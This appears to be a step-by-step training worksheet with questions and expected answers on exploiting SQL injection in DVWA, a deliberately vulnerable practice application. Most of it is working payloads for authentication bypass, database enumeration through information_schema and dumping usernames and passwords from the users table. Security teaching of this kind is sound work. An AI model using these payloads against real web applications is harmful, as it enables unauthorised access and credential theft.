

Steps and Corresponding Questions while Exploiting any Unknown SQL Injection Vulnerable Web Application (e.g., DVWA)

Step 1: Identify SQL Injection Vulnerability

Question: What input can you provide to test if the web application is vulnerable to SQL injection?

Expected Answer: Enter `' OR 1=1#` in the input field to see if the application bypasses authentication or shows unexpected behavior.

Step 2: Comment Out the Rest of the Query

Question: How can you use SQL comments to ignore the rest of the SQL statement during an injection?

Expected Answer: Use `#` after your SQL injection payload to comment out the remaining query.

Step 3: Display Database Version

Question: What SQL injection payload can be used to display the current database version?

Expected Answer: Enter the text below in the User ID field.

`%' or 0=0 union select null, version() #`

Step 4: Display Database Name

Question: What SQL injection payload retrieves the current database name?

Expected Answer: Enter the text below in the User ID field.

`%' or 1=0 union select null, database() #`

Step 5: Display Database Version and Database Name Together

Expected Answer: Enter the text below in the User ID field.

`' or 1=0 union select version(), database() #`

Step 6: Display Database User and Database Name Together

Expected Answer: Enter the text below in the User ID field.

```
' or 1=0 union select user(), database() #
```

Step 7: Display All Tables in information_schema

The Information Schema stores information about tables, columns, and all the other databases maintained by MySQL.

Question: Write an SQL injection payload to list all tables in the current database.

Expected Answer:

```
1' UNION SELECT table_name, null FROM information_schema.tables WHERE  
table_schema=database() #
```

Step 8: Display All User Tables in information_schema

Question: How can you display only the user-related tables in the database?

Expected Answer:

```
%' and 1=0 union select null, table_name from  
information_schema.tables where table_name like 'user%'#
```

Step 9: Display All Column Fields in the User Table

Question: What payload would you use to display all column names in the `users` table?

Expected Answer:

```
' UNION SELECT null, column_name FROM information_schema.columns WHERE  
table_name='users' #
```

Expected Answer:

```
%' and 1=0 union select null, concat(table_name,0x20,column_name) from  
information_schema.columns where table_name = 'users' #
```

Step 10: Display Column Field Contents

Question: Provide an SQL injection payload to retrieve the data (like usernames and passwords) from the `users` table.

Expected Answer:

```
%' and 1=0 union select null,  
concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
```